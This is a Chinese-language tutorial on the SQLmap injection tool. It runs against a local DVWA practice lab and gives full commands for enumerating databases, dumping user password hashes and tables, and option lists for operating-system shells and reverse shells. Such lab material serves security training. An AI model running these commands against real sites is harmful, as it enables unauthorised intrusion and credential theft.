SQL注入之SQLmap
0x00 SQLmap介绍
Sqlmap 是一种开源的渗透测试工具,可以自动检测和利用 Sql 注入漏洞以及接入该资料库的伺服器。它拥有非常强大的检测引擎、具有多种特性的渗透测试器、通过资料库指纹提取访问底层文件系统并通过外带连接执行命令,使用 Sqlmap 工具将极大的简化我们的测试工作量。
Sqlmap 是一个自动化的 SQL 注入工具,其主要功能是扫描、发现并利用给定的 Url 的 Sql 注入漏洞,目前支持 MySQL、 Oracle、 PostgreSQL、 Microsoft SQL Server、 Microsoft Access 等主流资料库。 Sqlmap 使用 5 种 SQL 注入技术(不加参数默认测试所有注入技术):
基于布尔的盲注,即可以根据返回页面判断条件真假的注入。
基于时间的盲注,即不能根据页面返回内容判断任何信息,用条件语句查看时间延迟语句是否执行(即页面返回时间是否增加)来判断。
基于报错注入,即页面会返回错误信息,或者把注入的语句的结果直接返回在页面中。
联合查询注入,可以使用union的情况下的注入。
堆查询注入,可以同时执行多条语句的执行时的注入。
我们依然使用之前phpstudy搭建的web伺服器进行测试,进入 Firefox 浏览器,输入网址 : localhost/dvwasql , 点击create/Reset Database创建资料库
0x01 SQLmap常见命令
-u
指定Sql注入测试的url
-b
获取DBMSbanner
-m
从文本中载入目标请求
-g
从google的搜索结果中测试
--data
把数据以post方式提交
--cookie
设置cookie的值
-–current-db
获取当前资料库
-–current-user
获取当前用户
--string
匹配页面中的字元串
–-users
枚举DBMS用户
–-password
枚举DBMS用户密码hash
–-dbs
枚举DBMS中的资料库
-D
要枚举的DBMS资料库
–-tables
枚举DBMS资料库中的数据表(和-D组合使用)
-T
要枚举的DBMS资料库表
–-columns
枚举DBMS资料库表中的所有列(和-D-T组合使用)
-C
要枚举的DBMS数据表中的列(和-D-T-C组合使用)
–-dump
获取DBMS数据表项
–-privileges
查看许可权
–-privileges-Uroot
查看指定用户许可权
–-os-cmd=whoami
执行系统命令
–-os-shell
系统交互shell
–-os-pwn
反弹shell
–-reg-read
读取win系统注册表
–-dbs-o「sqlmap.log」
#保存进度
当使用 Sqlmap 检测一个指定 Url 时,它会执行一下操作:
- 判断是否有可注入的参数
- 判断可以用哪种 Sql 注入技术来注入
- 识别出目标使用哪种资料库
- 按照用户选择,读取目标数据
0x02 SQLmap使用实战
开始测试
按Fn+F12打开firebug,输入122,查看friebug数据包cookie,也可以通过burpsuite挂代理获取cookie
cookie 是网站为了辨别用户身份、进行 session 跟踪而储存在用户本地终端上的加密数据,每个浏览器分配到的都不相同
使用如下命令进行初步检测:sqlmap.py -u http://localhost/dvwasql/vulnerabilities/sqli/?id=122&Submit=Submit# --cookie 「security=low,PHPSESSID=1bsvnknp0he5jo5r4pr1sitnk7」 --batch
--batch 自动检测
从上图可以看到 Sqlmap 已经获取到了如下信息:
- DBMS 使用的是Mysql
- Web 伺服器操作系统是 Ubuntu 15.10
- Web 容器是 Apache 2.4.12
- Mysql 版本大于等于 5.0
当使用 Sqlmap 检测一个指定的 Url 后,它会将结果保存在本地,这样我们下次在检车这个 Url 的时候就可以立刻返回信息,节约大量时间。
0x03 进一步获取信息
使用-b --current-db --current-user 命令来分别获取伺服器 banner 信息、当前资料库和当前用户:
python sqlmap.py -u "localhost/html/dvwa/vulnerabilities/sqli/?id=1&Submit=Submit#" --cookie "security=low;PHPSESSID=ckrut2fabboullumpfq8kuo561" -b --current-user --current-db
从上图可以看到,Sqlmap 近一步获取到如下信息:
- Web容器banner信息:5.6.31-0ubuntu0.15.10.1
- 网站使用的资料库当前用户:root@localhost
- 网站使用的资料库名:dvwa
Sqlmap 还有一个非常厉害的命令 --users和--password ,可以尝试直接枚举 DBMS 的所有注册用户和对应的密码(猜解 password 栏位时,因为使用了 hash 加密,所以 Sqlmap 会询问是否破解此 hash值,只需要按Enter使用预设值就可以了):
python sqlmap.py -u "localhost/html/dvwa/vulnerabilities/sqli/?id=1&Submit=Submit#" --cookie "security=low;PHPSESSID=ckrut2fabboullumpfq8kuo561"--users --password
从上图可以看到 Sqlmap 已经成功枚举出 DBMS 的所有注册用户和对应密码 hash 值,知道了hash值用解密工具破解就可以了
0x04 使用SQLmap枚举资料库
使用 --dbs 命令枚举 DBMS 中的所有资料库名:
python sqlmap.py -u "localhost/html/dvwa/vulnerabilities/sqli/?id=1&Submit=Submit#" --cookie "security=low;PHPSESSID=ckrut2fabboullumpfq8kuo561"--dbs
从上图可以看到该 DBMS 有以下资料库
dvwa
information_schema
mysql
performance_schema
我们可以选择感兴趣的资料库进一步获取信息,这里我们选择 dvwa 继续进行实验。 使用 -D 命令指定目标资料库,使用 --tables 枚举目标资料库中的数据表:
python sqlmap.py -u "localhost/html/dvwa/vulnerabilities/sqli/?id=1&Submit=Submit#" --cookie "security=low; PHPSESSID=vnua5n6lp5gh66sjrn908d4nd1" -D "dvwa" --tables
从上图可以看到 dvwa 资料库中有两个数据表:
- guestbook
- users
同样我们可以选择目标数据表,获取其中的栏位信息,这里我们选择 users 表: 使用 -T 命令指定目标数据表,使用 --columns命令枚举目标数据表中的栏位信息:
python sqlmap.py -u "localhost/html/dvwa/vulnerabilities/sqli/?id=1&Submit=Submit#" --cookie "security=low; PHPSESSID=vnua5n6lp5gh66sjrn908d4nd1" -D "dvwa" -T "users" --columns
从上图可以看到,Sqlmap 不仅枚举了所有栏位名,还给出了对应的栏位类型。
我们再选择目标栏位,猜解出它的值~ 使用 -C 命令指定目标栏位,--dump 命令猜解其中的值:
python sqlmap.py -u "localhost/html/dvwa/vulnerabilities/sqli/?id=1&Submit=Submit#" --cookie "security=low; PHPSESSID=vnua5n6lp5gh66sjrn908d4nd1" -D "dvwa" -T "users" -C "user,password" --dump
从上图可以看到,Sqlmap 会以表格的形式显示对应栏位的数据,非常直观。
Sqlmap 最常用的基础命令就是这些了,有兴趣的同学可以再试试其他命令看看能获取到什么信息。
推荐阅读: